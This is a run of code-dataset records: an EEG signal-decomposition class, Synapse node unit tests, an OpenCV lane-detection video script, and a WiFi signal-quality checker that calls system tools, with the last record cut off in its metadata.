self._pearson_features(features, self.templates_[:, :n_components, :])\n else:\n raise ValueError(\"non-supported transform method\")\n\n def _pearson_features(self, X: ndarray, templates: ndarray):\n X = np.reshape(X, (-1, *X.shape[-2:]))\n templates = np.reshape(templates, (-1, *templates.shape[-2:]))\n X = X - np.mean(X, axis=-1, keepdims=True)\n templates = templates - np.mean(templates, axis=-1, keepdims=True)\n X = np.reshape(X, (X.shape[0], -1))\n templates = np.reshape(templates, (templates.shape[0], -1))\n istd_X = 1 / np.std(X, axis=-1, keepdims=True)\n istd_templates = 1 / np.std(templates, axis=-1, keepdims=True)\n corr = (X@templates.T) / (templates.shape[1]-1)\n corr = istd_X * corr * istd_templates.T\n return corr\n\nclass FBDSP(FilterBank):\n def __init__(self,\n n_components: Optional[int] = None,\n max_components: Optional[int] = None,\n filterbank: Optional[List[ndarray]] = None,\n filterweights: Optional[ndarray] = None):\n self.n_components = n_components\n self.max_components = max_components\n self.filterbank = filterbank\n self.filterweights = filterweights\n if filterweights is not None:\n if filterbank is None:\n self.filterweights = None\n else:\n if len(filterweights) != len(filterbank):\n raise ValueError(\"the len of filterweights must be the same as that of filterbank\")\n super().__init__(\n DSP(\n n_components=n_components,\n max_components=max_components,transform_method='corr'),\n filterbank=filterbank)\n\n def transform(self, X: ndarray):\n features = super().transform(X)\n if self.filterweights is None:\n return features\n else:\n features = np.reshape(features, (features.shape[0], len(self.filterbank), -1))\n return np.sum(features*self.filterweights[np.newaxis, :, np.newaxis], axis=1)\n\n\n", "sub_path": "brainda/algorithms/decomposition/dsp.py", "file_name": "dsp.py", "file_ext": "py", "file_size_in_byte": 8458, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.ndarray", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.matmul", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.matmul", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.linalg.eigh", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 75, "usage_type": "call"}, {"api_name": "base.robust_pattern", "line_number": 77, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 82, "usage_type": "name"}, {"api_name": "sklearn.base.BaseEstimator", "line_number": 123, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 127, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 132, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 135, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 140, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 149, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 160, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 174, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 182, "usage_type": "call"}, {"api_name": "base.FilterBank", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 189, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 190, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 191, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 191, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 191, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 192, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 192, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 209, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 215, "usage_type": "attribute"}]} {"seq_id": "172673699", "text": "import synapse.exc as s_exc\n\nimport synapse.lib.node as s_node\n\nimport synapse.tests.utils as s_t_utils\nfrom synapse.tests.utils import alist\n\nclass NodeTest(s_t_utils.SynTest):\n\n async def test_pack(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n\n await core.addTagProp('score', ('int', {}), {})\n\n async with await core.snap() as snap:\n\n node = await snap.addNode(form, valu, props=props)\n await node.setTagProp('foo', 'score', 10)\n\n iden, info = node.pack()\n self.eq(iden, ('test:str', 'cool'))\n self.eq(info.get('tags'), {'foo': (None, None)})\n self.eq(info.get('tagprops'), {'foo': {'score': 10}})\n props = {k: v for (k, v) in info.get('props', {}).items() if not k.startswith('.')}\n self.eq(props, {'tick': 12345})\n\n iden, info = node.pack(dorepr=True)\n self.eq(iden, ('test:str', 'cool'))\n self.eq(info.get('tags'), {'foo': (None, None)})\n # TODO - Add repr support for tagprops\n props = {k: v for (k, v) in info.get('props', {}).items() if not k.startswith('.')}\n self.eq(props, {'tick': 12345})\n self.eq(info.get('repr'), None)\n reprs = {k: v for (k, v) in info.get('reprs', {}).items() if not k.startswith('.')}\n self.eq(reprs, {'tick': '1970/01/01 00:00:12.345'})\n\n # Set a property on the node which is extra model and pack it.\n # This situation can be encountered in a multi-layer situation\n # where one Cortex can have model knowledge and set props\n # that another Cortex (sitting on top of the first one) lifts\n # a node which has props the second cortex doens't know about.\n node.props['.newp'] = 1\n node.props['newp'] = (2, 3)\n iden, info = node.pack(dorepr=True)\n props, reprs = info.get('props'), info.get('reprs')\n self.eq(props.get('.newp'), 1)\n self.eq(props.get('newp'), (2, 3))\n\n # without model knowledge it is impossible to repr a value so it should\n # *not* be in the repr dict\n self.none(reprs.get('newp'))\n self.none(reprs.get('.newp'))\n\n async def test_set(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n self.true(snap.strict) # Following assertions based on snap.strict being true\n node = await snap.addNode(form, valu, props=props)\n\n self.false(await node.set('tick', 12345))\n self.true(await node.set('tick', 123456))\n await self.asyncraises(s_exc.NoSuchProp, node.set('notreal', 12345))\n\n ronode = await snap.addNode('test:comp', (1, 's'))\n await self.asyncraises(s_exc.ReadOnlyProp, ronode.set('hehe', 2))\n snap.strict = False\n self.false(await ronode.set('hehe', 3))\n snap.strict = True\n\n async def test_has(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n node = await snap.addNode(form, valu, props=props)\n\n self.true(node.has('tick'))\n self.true(node.has('.created'))\n self.false(node.has('nope'))\n self.false(node.has('.nope'))\n\n async def test_get(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n node = await snap.addNode(form, valu, props=props)\n await node.addTag('cool', valu=(1, 2))\n\n self.eq(node.get('tick'), 12345)\n self.none(node.get('nope'))\n\n self.eq(node.get('#cool'), (1, 2))\n self.none(node.get('#newp'))\n\n async def test_pop(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n node = await snap.addNode(form, valu, props=props)\n await node.addTag('cool', valu=(1, 2))\n\n await self.asyncraises(s_exc.NoSuchProp, node.pop('nope'))\n snap.strict = False\n self.false(await node.pop('nope'))\n snap.strict = True\n\n ronode = await snap.addNode('test:comp', (1, 's'))\n await self.asyncraises(s_exc.ReadOnlyProp, ronode.pop('hehe'))\n snap.strict = False\n self.false(await ronode.pop('hehe'))\n snap.strict = True\n\n async def test_repr(self):\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n node = await snap.addNode(form, valu, props=props)\n self.eq('cool', node.repr())\n self.eq(node.repr('tick'), '1970/01/01 00:00:12.345')\n\n form = 'test:threetype'\n valu = 'cool'\n node = await snap.addNode(form, valu)\n self.eq(node.repr(), '3')\n reprs = {k: v for (k, v) in node.reprs().items() if not k.startswith('.')}\n self.eq(reprs.get('three'), '3')\n\n async def test_tags(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345}\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n self.true(snap.strict)\n\n node = await snap.addNode(form, valu, props=props)\n\n # Add a tag\n await node.addTag('cool', valu=(1, 2))\n self.eq(node.getTag('cool'), (1, 2))\n await node.addTag('cool', valu=(1, 2)) # Add again\n self.eq(node.getTag('cool'), (1, 2))\n await node.addTag('cool', valu=(1, 3)) # Add again with different valu\n self.eq(node.getTag('cool'), (1, 3))\n await node.addTag('cool', valu=(-5, 0)) # Add again with different valu\n self.eq(node.getTag('cool'), (-5, 3)) # merges...\n\n self.true(node.hasTag('cool'))\n self.true(node.hasTag('#cool'))\n self.false(node.hasTag('notcool'))\n self.false(node.hasTag('#notcool'))\n\n # Demonstrate that valu is only applied at the level that addTag is called\n await node.addTag('cool.beans.abc', valu=(1, 8))\n self.eq(node.getTag('cool.beans.abc'), (1, 8))\n self.eq(node.getTag('cool.beans'), (None, None))\n\n await self.asyncraises(s_exc.NoSuchProp, node.pop('nope'))\n snap.strict = False\n self.false(await node.pop('nope'))\n snap.strict = True\n\n async def test_helpers(self):\n form = 'test:str'\n valu = 'cool'\n props = {'tick': 12345,\n 'hehe': 'hehe',\n }\n tval = (None, None)\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n node = await snap.addNode(form, valu, props=props)\n await node.addTag('test.foo.bar.duck', tval)\n await node.addTag('test.foo.baz', tval)\n await node.addTag('test.foo.time', ('2016', '2019'))\n await node.addTag('test.foo', ('2015', '2017'))\n pode = node.pack(dorepr=True)\n\n node2 = await snap.addNode('test:int', '1234')\n pode2 = node2.pack(dorepr=True)\n\n self.eq(s_node.ndef(pode), ('test:str', 'cool'))\n self.eq(s_node.reprNdef(pode), ('test:str', 'cool'))\n self.eq(s_node.ndef(pode2), ('test:int', 1234))\n self.eq(s_node.reprNdef(pode2), ('test:int', '1234'))\n\n e = 'bf1198c5f28dae61d595434b0788dd6f7206b1e62d06b0798e012685f1abc85d'\n self.eq(s_node.iden(pode), e)\n\n self.true(s_node.tagged(pode, 'test'))\n self.true(s_node.tagged(pode, '#test.foo.bar'))\n self.true(s_node.tagged(pode, 'test.foo.bar.duck'))\n self.false(s_node.tagged(pode, 'test.foo.bar.newp'))\n\n self.len(3, s_node.tags(pode, leaf=True))\n self.len(4, s_node.tagsnice(pode))\n self.len(6, s_node.tags(pode))\n self.eq(s_node.reprTag(pode, '#test.foo.bar'), '')\n self.eq(s_node.reprTag(pode, '#test.foo.time'), '(2016/01/01 00:00:00.000, 2019/01/01 00:00:00.000)')\n self.none(s_node.reprTag(pode, 'test.foo.newp'))\n\n self.eq(s_node.prop(pode, 'hehe'), 'hehe')\n self.eq(s_node.prop(pode, 'tick'), 12345)\n self.eq(s_node.prop(pode, ':tick'), 12345)\n self.eq(s_node.prop(pode, 'test:str:tick'), 12345)\n self.none(s_node.prop(pode, 'newp'))\n\n self.eq(s_node.reprProp(pode, 'hehe'), 'hehe')\n self.eq(s_node.reprProp(pode, 'tick'), '1970/01/01 00:00:12.345')\n self.eq(s_node.reprProp(pode, ':tick'), '1970/01/01 00:00:12.345')\n self.eq(s_node.reprProp(pode, 'test:str:tick'), '1970/01/01 00:00:12.345')\n self.none(s_node.reprProp(pode, 'newp'))\n\n props = s_node.props(pode)\n self.isin('.created', props)\n self.isin('tick', props)\n self.notin('newp', props)\n\n async def test_storm(self):\n\n async with self.getTestCore() as core:\n async with await core.snap() as snap:\n node = await snap.addNode('test:comp', (42, 'lol'))\n nodepaths = await alist(node.storm('-> test:int'))\n self.len(1, nodepaths)\n self.eq(nodepaths[0][0].ndef, ('test:int', 42))\n\n nodepaths = await alist(node.storm('-> test:int [:loc=$foo]', opts={'vars': {'foo': 'us'}}))\n self.eq(nodepaths[0][0].props.get('loc'), 'us')\n\n path = nodepaths[0][1].fork(node)\n path.vars['zed'] = 'ca'\n\n # Path present, opts not present\n nodes = await alist(node.storm('-> test:int [:loc=$zed] $bar=$foo', path=path))\n self.eq(nodes[0][0].props.get('loc'), 'ca')\n self.eq(path.vars.get('bar'), 'us')\n\n # Path present, opts present but no opts['vars']\n nodes = await alist(node.storm('-> test:int [:loc=$zed] $bar=$foo', opts={}, path=path))\n self.eq(nodes[0][0].props.get('loc'), 'ca')\n self.eq(path.vars.get('bar'), 'us')\n\n # Path present, opts present with vars\n nodes = await alist(node.storm('-> test:int [:loc=$zed] $bar=$baz',\n opts={'vars': {'baz': 'ru'}},\n path=path))\n self.eq(nodes[0][0].props.get('loc'), 'ca')\n self.eq(path.vars.get('bar'), 'ru')\n\n async def test_node_repr(self):\n\n async with self.getTestCore() as core:\n\n nodes = await core.nodes('[ inet:ipv4=1.2.3.4 :loc=us ]')\n self.len(1, nodes)\n\n node = nodes[0]\n\n self.eq('1.2.3.4', nodes[0].repr())\n\n self.eq('us', node.repr('loc'))\n\n with self.raises(s_exc.NoSuchProp):\n node.repr('newp')\n\n with self.raises(s_exc.NoPropValu):\n node.repr('dns:rev')\n", "sub_path": "synapse/tests/test_lib_node.py", "file_name": "test_lib_node.py", "file_ext": "py", "file_size_in_byte": 11849, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "synapse.tests.utils.SynTest", "line_number": 8, "usage_type": "attribute"}, {"api_name": "synapse.tests.utils", "line_number": 8, "usage_type": "name"}, {"api_name": "synapse.exc.NoSuchProp", "line_number": 70, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 70, "usage_type": "name"}, {"api_name": "synapse.exc.ReadOnlyProp", "line_number": 73, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 73, "usage_type": "name"}, {"api_name": "synapse.exc.NoSuchProp", "line_number": 118, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 118, "usage_type": "name"}, {"api_name": "synapse.exc.ReadOnlyProp", "line_number": 124, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 124, "usage_type": "name"}, {"api_name": "synapse.exc.NoSuchProp", "line_number": 178, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 178, "usage_type": "name"}, {"api_name": "synapse.lib.node.ndef", "line_number": 203, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 203, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprNdef", "line_number": 204, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 204, "usage_type": "name"}, {"api_name": "synapse.lib.node.ndef", "line_number": 205, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 205, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprNdef", "line_number": 206, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 206, "usage_type": "name"}, {"api_name": "synapse.lib.node.iden", "line_number": 209, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 209, "usage_type": "name"}, {"api_name": "synapse.lib.node.tagged", "line_number": 211, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 211, "usage_type": "name"}, {"api_name": "synapse.lib.node.tagged", "line_number": 212, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 212, "usage_type": "name"}, {"api_name": "synapse.lib.node.tagged", "line_number": 213, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 213, "usage_type": "name"}, {"api_name": "synapse.lib.node.tagged", "line_number": 214, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 214, "usage_type": "name"}, {"api_name": "synapse.lib.node.tags", "line_number": 216, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 216, "usage_type": "name"}, {"api_name": "synapse.lib.node.tagsnice", "line_number": 217, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 217, "usage_type": "name"}, {"api_name": "synapse.lib.node.tags", "line_number": 218, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 218, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprTag", "line_number": 219, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 219, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprTag", "line_number": 220, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 220, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprTag", "line_number": 221, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 221, "usage_type": "name"}, {"api_name": "synapse.lib.node.prop", "line_number": 223, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 223, "usage_type": "name"}, {"api_name": "synapse.lib.node.prop", "line_number": 224, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 224, "usage_type": "name"}, {"api_name": "synapse.lib.node.prop", "line_number": 225, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 225, "usage_type": "name"}, {"api_name": "synapse.lib.node.prop", "line_number": 226, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 226, "usage_type": "name"}, {"api_name": "synapse.lib.node.prop", "line_number": 227, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 227, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprProp", "line_number": 229, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 229, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprProp", "line_number": 230, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 230, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprProp", "line_number": 231, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 231, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprProp", "line_number": 232, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 232, "usage_type": "name"}, {"api_name": "synapse.lib.node.reprProp", "line_number": 233, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 233, "usage_type": "name"}, {"api_name": "synapse.lib.node.props", "line_number": 235, "usage_type": "call"}, {"api_name": "synapse.lib.node", "line_number": 235, "usage_type": "name"}, {"api_name": "synapse.tests.utils.alist", "line_number": 245, "usage_type": "call"}, {"api_name": "synapse.tests.utils.alist", "line_number": 249, "usage_type": "call"}, {"api_name": "synapse.tests.utils.alist", "line_number": 256, "usage_type": "call"}, {"api_name": "synapse.tests.utils.alist", "line_number": 261, "usage_type": "call"}, {"api_name": "synapse.tests.utils.alist", "line_number": 266, "usage_type": "call"}, {"api_name": "synapse.exc.NoSuchProp", "line_number": 285, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 285, "usage_type": "name"}, {"api_name": "synapse.exc.NoPropValu", "line_number": 288, "usage_type": "attribute"}, {"api_name": "synapse.exc", "line_number": 288, "usage_type": "name"}]} {"seq_id": "3064354", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 19 00:52:21 2019\n\n@author: zll\n\"\"\"\n\n\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n \n\n \n \ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap): \n lines =cv2.HoughLinesP(img, rho, theta, threshold, np.array([]),\\\n minLineLength=min_line_len, maxLineGap=max_line_gap) \n line_img =np.zeros((img.shape[0], img.shape[1], 3), dtype=np.uint8)\n color=[ 0, 0,255]\n thickness=2\n if lines is not None:\n for line in lines:\n for x1,y1,x2,y2 in line:\n cv2.line(line_img,(x1,y1),(x2,y2),color,thickness)\n return line_img \n\n \ncap=cv2.VideoCapture(\"test_2.mp4\") \nwhile (cap.isOpened()):\n ret,frame =cap.read()\n image = np.array(frame)\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # 转为灰度图\n gaussian_blur_image = cv2.GaussianBlur(grayscale_image, (5,5), 0) # 高斯平滑，\n # 设置阈值，进行canny边缘提取\n canny_low_threshold = 30\n canny_high_threshold = 50\n edge_image = cv2.Canny(gaussian_blur_image, canny_low_threshold, canny_high_threshold)\n \n #plt.imshow(edge_image)\n #plt.show()\n # ROI可视区域选择，本程序选取左测公路区域\n image_shape = edge_image.shape\n '''\n x_offset = 200\n y_offset = 90\n \n v1 = (0, image_shape[0] - y_offset*3)\n v2 = (int(image_shape[1]/4 + x_offset), int(image_shape[0]/3+y_offset))\n v3 = (int(image_shape[1]*5/8 - x_offset), int(image_shape[0]/3+y_offset))\n v4 = (image_shape[1] *2/ 3 + x_offset, image_shape[0] - y_offset )\n v5 = (0, image_shape[0] - y_offset / 2 )\n \n vert = np.array([[v1, v2, v3,v4,v5]], dtype=np.int32)\n '''\n v1 = (250, image_shape[0] )\n v2 = (1100, image_shape[0])\n v3 = (550, int(image_shape[0]*3/8))\n\n\n#vert = np.array([[v1, v2, v3,v4,v5]], dtype=np.int32)\n vert = np.array([[v1, v2, v3]], dtype=np.int32)\n \n mask = np.zeros_like(edge_image)\n mask_color = 255\n # ROI可视区填充，在用mask与灰度图进行与运算，即在灰度图中得可视区\n \n cv2.fillPoly(mask, vert, mask_color)\n #plt.imshow( mask)\n #plt.show()\n \n masked_edge_image = cv2.bitwise_and(edge_image, mask)\n # 显示可视区的边缘提取二值图像\n #plt.imshow( masked_edge_image)\n #plt.show()\n #cv2.imshow(\"edge\", masked_edge_image)\n #print(np.array([[v1, v2, v3, v4]], dtype=np.int32))\n # 霍夫线变换\n rho = 1 # 设置极径分辨率\n theta = (np.pi)/180 # 设置极角分辨率\n threshold = 70 # 设置检测一条直线所需最少的交点\n min_line_len =50 # 设置线段最小长度\n max_line_gap = 20 # 设置线段最近俩点的距离\n #lines = cv2.HoughLinesP(masked_edge_image, rho, theta, threshold, \\\n # np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n line_img =hough_lines(masked_edge_image, rho, theta, threshold, min_line_len, max_line_gap)\n hough_line_image = np.zeros((masked_edge_image.shape[0], masked_edge_image.shape[1], 3),\\\n dtype=np.uint8)\n # 绘制检测到的直线\n #plt.imshow(line_img)\n #plt.show()\n \n\n sync_vidio = cv2.addWeighted(frame, 0.8, line_img, 1,0)\n # 显示图像\n cv2.imshow(\"sync_vidio\",sync_vidio)\n if cv2.waitKey(1) & 0xFF ==ord('q'): #Q键退出\n cap.release\n cv2.destroyAllWindows()\n break\n\n\n\n", "sub_path": "lane_detect_vidio.py", "file_name": "lane_detect_vidio.py", "file_ext": "py", "file_size_in_byte": 3535, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.HoughLinesP", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 89, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 100, "usage_type": "call"}]} {"seq_id": "357655444", "text": "from subprocess import PIPE\n\nfrom eventlet import greenio\nfrom eventlet.green import subprocess\n\nimport sys\n\nfrom Shared.Engine import Engine\nfrom Shared.LogObject import LogObject\nfrom Shared.Logger import Logger, LogVerbosity\nfrom Shared.Util import Singleton\n\n\nclass WiFiController(LogObject, metaclass=Singleton):\n\n def __init__(self):\n super().__init__(None, \"WIFI\")\n self.pi = sys.platform == \"linux\" or sys.platform == \"linux2\"\n self.quality = 0\n\n def check_wifi(self):\n if self.pi:\n proc = subprocess.Popen([\"iwgetid\"], stdout=PIPE, universal_newlines=True)\n out, err = proc.communicate()\n if \":\" not in out:\n return\n\n network_ssid = out.split(\":\")[1]\n\n proc = subprocess.Popen([\"iwlist\", \"wlan0\", \"scan\"], stdout=PIPE, universal_newlines=True)\n out, err = proc.communicate()\n cells = out.split(\"Cell \")\n cell_lines = [x for x in cells if network_ssid in x]\n if len(cell_lines) != 0:\n network_lines = cell_lines[0]\n for line in network_lines.split(\"\\n\"):\n if \"Quality\" in line:\n fields = line.split(\" \")\n for field in fields:\n field.replace(\" \", \"\")\n if len(field) <= 2:\n continue\n\n key_value = field.split(\"=\")\n if len(key_value) == 1:\n key_value = field.split(\":\")\n\n if key_value[0] == \"Quality\":\n value_max = key_value[1].split(\"/\")\n new_val = float(value_max[0]) / float(value_max[1]) * 100\n if self.quality != new_val:\n if self.quality == 0:\n Logger().write(LogVerbosity.Debug, \"Wifi quality: \" + str(new_val))\n self.quality = new_val\n\n else:\n proc = subprocess.Popen([\"Netsh\", \"WLAN\", \"show\", \"interfaces\"], stdout=PIPE, universal_newlines=True)\n out, err = proc.communicate()\n lines = out.split(\"\\n\")\n for line in lines:\n if \"Signal\" in line:\n split = line.split(\":\")\n new_val = float(split[1].replace(\"%\", \"\"))\n if self.quality != new_val:\n if self.quality == 0:\n Logger().write(LogVerbosity.Debug, \"Wifi quality: \" + str(new_val))\n\n self.quality = new_val\n\n return True\n", "sub_path": "src/Controllers/WiFiController.py", "file_name": "WiFiController.py", "file_ext": "py", "file_size_in_byte": 2733, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Shared.LogObject.LogObject", "line_number": 14, "usage_type": "name"}, {"api_name": "Shared.Util.Singleton", "line_number": 14, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 18, "usage_type": "attribute"}, {"api_name": "eventlet.green.subprocess.Popen", "line_number": 23, "usage_type": "call"}, {"api_name": "eventlet.green.subprocess", "line_number": 23, "usage_type": "name"}, {"api_name": 